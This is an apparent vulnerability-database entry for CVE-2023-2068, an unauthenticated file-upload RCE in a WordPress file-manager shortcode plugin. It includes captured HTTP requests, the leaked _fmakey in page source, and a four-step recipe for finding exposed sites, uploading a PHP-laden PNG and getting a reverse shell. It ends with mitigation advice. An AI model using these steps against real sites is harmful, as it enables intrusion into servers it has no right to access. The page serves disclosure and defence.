Attacker Value
Very High
(1 user assessed)
Exploitability
Very High
(1 user assessed)
User Interaction
None
Privileges Required
None
Attack Vector
Network
1

CVE-2023-2068

Disclosure Date: June 27, 2023
Add MITRE ATT&CK tactics and techniques that apply to this CVE.
Execution
Techniques
Validation
Validated
Validated
Validated
Validated
Validated
Validated
Initial Access
Techniques
Validation
Validated

Description

The File Manager Advanced Shortcode WordPress plugin through 2.3.2 does not adequately prevent uploading files with disallowed MIME types when using the shortcode. This leads to RCE in cases where the allowed MIME type list does not include PHP files. In the worst case, this is available to unauthenticated users.

Add Assessment

1
Ratings
Technical Analysis

WordPress is one of the most used web application platforms on the Internet with million and million of installations. The platform provides a huge amount of content with so called plugins that enables certain functionality such as payment services, file managers, web forms, security and much more.
It is on one side great to have such rich functionality available in the platform, but the downside is that these plugins can also trigger a lot of vulnerabilities.
And indeed, the WordPress platform has become infamous for the huge amount of vulnerabilities introduced at the platform over the last couple of years.

This writeup is a perfect example where a plugin File Manager Advanced and an add-on File Manager Advanced Shortcode introduced a vulnerability where an unauthenticated malicious actor can upload a webshell and execute payloads that provides unauthorized access to the operating system below.

Let me first explain a bit what a shortcode is in the WordPress world.
A shortcode is a specially formatted text tag that opens and closes with square brackets and can be placed directly in a post or a page of your blog. This tag is automatically interpreted by WordPress and allows you to add features without having to program code. You can recognize a shortcode section by seeing brackets like [this], that performs a dedicated function on your site. You can place it just about anywhere you’d like, and it will add a specific feature to your page, post, or other content. For example, you can use shortcodes to display galleries, videos, or even playlists.

WordPress has several plugins that delivers specific functionality that you can use and the File Manager Advanced Shortcode plugin is one of these features that allows you to code File Manager Advanced functionality on a page or post using shortcodes.

The section below shows an example of a shortcode using the File Manager Advanced Shortcode plugin that allows you to upload or download files depending on the shortcode configuration. For instance, at the example below a login is required to upload or download files (authenticated).

[file_manager_advanced login="yes" roles="author,editor,administrator" path="wp-content" hide="plugins"
operations="download,upload" block_users="5" view="grid" theme="light" lang ="en" upload_allow="image/png" upload_max_size="2G"]

and the shortcode will provide the file manager functionality on the page below when published.

File Manager Advanced Shortcode.

So far, so good, but what is now exactly the issue with this plugin?

To understand this a bit better, let’s first explore what is happening under the hood if we upload a small png file (ruby.png).
We will capture the HTTP request and response with burpsuite.
The actual upload happens with a POST request and form data that is shown below.

POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1
Host: 192.168.201.10
Content-Length: 2502
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1vP3o9u9S2AIn7Ex
Accept: */*
Origin: http://192.168.201.10
Referer: http://192.168.201.10/wordpress/index.php/fma-auth/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: wordpress_bbdf06293059980896f1ee8c0e8b218c=admin%7C1688056648%7CB7maHYtYiY720ai72sOLpfz8j0hSdisDFJqvoSYsqgK%7C690658a3c5dab7494d7840e3d4ecfdfdf17494f6ae163a3fd3ac8093e1529784; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_bbdf06293059980896f1ee8c0e8b218c=admin%7C1688056648%7CB7maHYtYiY720ai72sOLpfz8j0hSdisDFJqvoSYsqgK%7C5666c9036374c0c892b17a6abaf647dc5baf618ca489084627fde0df45b80d8f; wfwaf-authcookie-dd668d04efe9e4ab71eb81bd40139a86=1%7Cadministrator%7Cmanage_options%2Cunfiltered_html%2Cedit_others_posts%2Cupload_files%2Cpublish_posts%2Cedit_posts%2Cread%7C0f200eccb75504c01e48ae0344893dd5df62a8aad161c24058089881c58bfbfc; PHPSESSID=2csqd51ghug6138llcu5dtskjm
Connection: close

------WebKitFormBoundary1vP3o9u9S2AIn7Ex
Content-Disposition: form-data; name="reqid"

188fdc67f782e3
------WebKitFormBoundary1vP3o9u9S2AIn7Ex
Content-Disposition: form-data; name="cmd"

upload
------WebKitFormBoundary1vP3o9u9S2AIn7Ex
Content-Disposition: form-data; name="target"

l1_Lw
------WebKitFormBoundary1vP3o9u9S2AIn7Ex
Content-Disposition: form-data; name="action"

fma_load_shortcode_fma_ui
------WebKitFormBoundary1vP3o9u9S2AIn7Ex
Content-Disposition: form-data; name="_fmakey"

d2ef442bd5
------WebKitFormBoundary1vP3o9u9S2AIn7Ex
Content-Disposition: form-data; name="path"

wp-content
------WebKitFormBoundary1vP3o9u9S2AIn7Ex
Content-Disposition: form-data; name="url"


------WebKitFormBoundary1vP3o9u9S2AIn7Ex
Content-Disposition: form-data; name="w"

false
------WebKitFormBoundary1vP3o9u9S2AIn7Ex
Content-Disposition: form-data; name="r"

true
------WebKitFormBoundary1vP3o9u9S2AIn7Ex
Content-Disposition: form-data; name="hide"

plugins
------WebKitFormBoundary1vP3o9u9S2AIn7Ex
Content-Disposition: form-data; name="operations"

download,upload
------WebKitFormBoundary1vP3o9u9S2AIn7Ex
Content-Disposition: form-data; name="path_type"

inside
------WebKitFormBoundary1vP3o9u9S2AIn7Ex
Content-Disposition: form-data; name="hide_path"

no
------WebKitFormBoundary1vP3o9u9S2AIn7Ex
Content-Disposition: form-data; name="enable_trash"

no
------WebKitFormBoundary1vP3o9u9S2AIn7Ex
Content-Disposition: form-data; name="upload_allow"

image/png
------WebKitFormBoundary1vP3o9u9S2AIn7Ex
Content-Disposition: form-data; name="upload_max_size"

2G
------WebKitFormBoundary1vP3o9u9S2AIn7Ex
Content-Disposition: form-data; name="upload[]"; filename="ruby.png"
Content-Type: image/png

PNG
<PNG content>

------WebKitFormBoundary1vP3o9u9S2AIn7Ex
Content-Disposition: form-data; name="mtime[]"

1687884791
------WebKitFormBoundary1vP3o9u9S2AIn7Ex--

The question is of course, what will happen if we start manipulating the parameters in the form data and issue a POST request again.
Will that work?
Lets try an LFI, by manipulating the path parameter which is set to wp-content directory but will be set to empty (basically set to the wordpress root directory).

Surprise, surprise !!!!
ruby.png get nicely uploaded in the wordpress root directory.

HTTP/1.1 200 OK
Date: Tue, 27 Jun 2023 17:13:33 GMT
Server: Apache/2.4.57 (Debian)
Access-Control-Allow-Origin: http://192.168.201.10
Access-Control-Allow-Credentials: true
X-Robots-Tag: noindex
X-Content-Type-Options: nosniff
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Referrer-Policy: strict-origin-when-cross-origin
X-Frame-Options: SAMEORIGIN
Pragma: no-cache
Set-Cookie: PHPSESSID=h7komipqhl6l43bfq0beqgi23f; path=/
Content-Length: 1742
Connection: close
Content-Type: application/json; charset=utf-8

{"added":[
   {
     "isowner":false,
     "ts":1687886014,
     "mime":"image\/png",
     "read":1,
     "write":1,
     "size":"592",
     "hash":"l1_cnVieS5wbmc",
     "name":"ruby.png",
     "phash":"l1_Lw",
     "tmb":1,
     "url":"http:\/\/192.168.201.10\/wordpress\/ruby.png"
   }
],

What if we try to bypass authentication by removing the cookies. Will that work?
Of course, the file gets nicely uploaded again.

Last but not least, can manipulate the mime-types to upload PNG images files with embedded PHP code that we can execute.
And again the answer is yes. See this video on YouTube.

Basically, you can manipulate all parameters as long as you have the _fmakey. This is the only parameter that needs to be set to issue a POST request that allows for all kind of operations, like upload, download and others.

What is exactly this _fmakey and more important, where do we find it?

I could not find much on this key, but we need to set this key to get the POST request satisfied.
Man would think that it would be encrypted during runtime with a complex encryption algorithm, but the reality is much simpler.
The _fmakey and its value is stored on the web page where File Manager Advanced shortcode functionality is embedded. With view source you can easily find it on the web page (see the excerpt below).

<script src='http://192.168.201.10/wordpress/wp-content/plugins/file-manager-advanced-shortcode/js/shortcode.js?ver=6.2.2' id='file_manager_advanced-fma-shortcode-js-js'></script>
<script id='file_manager_advanced-fma-shortcode-js-js-after'>
jQuery(document).ready(function(){
	var afmui = ['toolbar', 'tree', 'path', 'stat'];
	var fma_ui_opt = '';
	if(fma_ui_opt != '') {
	  var fmui_params = fma_ui_opt;
	if(fmui_params == 'files') {
	  var afmui = [];
	} else 
	  var afmui = fmui_params.split(',');
	 }
   jQuery('#file_manager_advanced').elfinder(
	  {
		  cssAutoLoad : false, 
		  url : 'http://192.168.201.10/wordpress/wp-admin/admin-ajax.php',						
		  lang:  'en',					
		  defaultView : 'grid',
		  dateFormat : 'M d, Y h:i A',
		  customData : {action: 'fma_load_shortcode_fma_ui',
		 _fmakey: 'd2ef442bd5',
		  path:'wp-content',
		  url: '',
		  w: 'false',
		  r: 'true',
		  hide: 'plugins',
		  operations: 'download,upload',
		  path_type: 'inside',
		  hide_path: 'no',
		  enable_trash: 'no',
		  upload_allow: 'image/png',
		  upload_max_size: '2G',
	      },
		  height: '',
		  width: '',
		  ui: afmui,
	  });
});
</script>

For older versions of the plugin, you have to search for the _fmakey on the page embedded in the fmaatts var.

var fmaatts = {"ajaxurl":"http:\/\/192.168.201.55\/wp-admin\/admin-ajax.php","lang":"us","view":"grid","dateformat":"M d, Y h:i A","action":"fma_load_shortcode_fma_ui","fmakey":"92b7949dd9","path":"wp-content\/uploads\/musicfiles","url":"","w":"false","r":"true","hide":"plugins","operations":"all","path_type":"inside"};

Well, how easy can you make it for an attacker to craft a POST request that uploads a malicious file with payload that can be executed.
I would say, DEAD EASY!!!

The steps are simple.

  1. Find WordPress web sites with pages where the _fmakey is embedded (TIP: use a Source Code Search Engine like PublicWWW).
  2. Retrieve the _fmakey.
  3. Craft a POST request that uploads a malicious PNG file with PHP code embedded by using the _fmakey and manipulating the cmd, operations and mime-types parameters.
  4. Execute the malicious PNG file and enjoy a reverse shell or meterpreter.

Of course, I took the liberty to code a nice Metasploit module that does it all for you.
You can find the module here in my local repository or as PR 18142 at the Metasploit Github development.

I have tested the module on a WordPress base installation version 6.2.2 on Linux and Windows Server 2019 with File Manager Advanced 5.0.5 and File Manager Advanced Shortcode 2.3.2 installed. Works as a charm…

Also tested the module with a basic setup of WordFence and it bypassed the WAF as far as I could test it.

Mitigation

Please update your File Manager Advanced plugin to version 5.1 or higher and update the File Manager Advanced Shortcode plugin to version 2.4 or higher.

References

WPScan advisory
File Manager Advanced Shortcode RCE – h00die-gr3y Metasploit local repository
Metasploit PR 18142
Exploit DB
Packet Storm

Credits

Mateus Machado Tesser Discovery

CVSS V3 Severity and Metrics
Base Score:
9.8 Critical
Impact Score:
5.9
Exploitability Score:
3.9
Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector (AV):
Network
Attack Complexity (AC):
Low
Privileges Required (PR):
None
User Interaction (UI):
None
Scope (S):
Unchanged
Confidentiality (C):
High
Integrity (I):
High
Availability (A):
High

General Information

Vendors

  • advancedfilemanager

Products

  • file manager advanced shortcode

Additional Info

Technical Analysis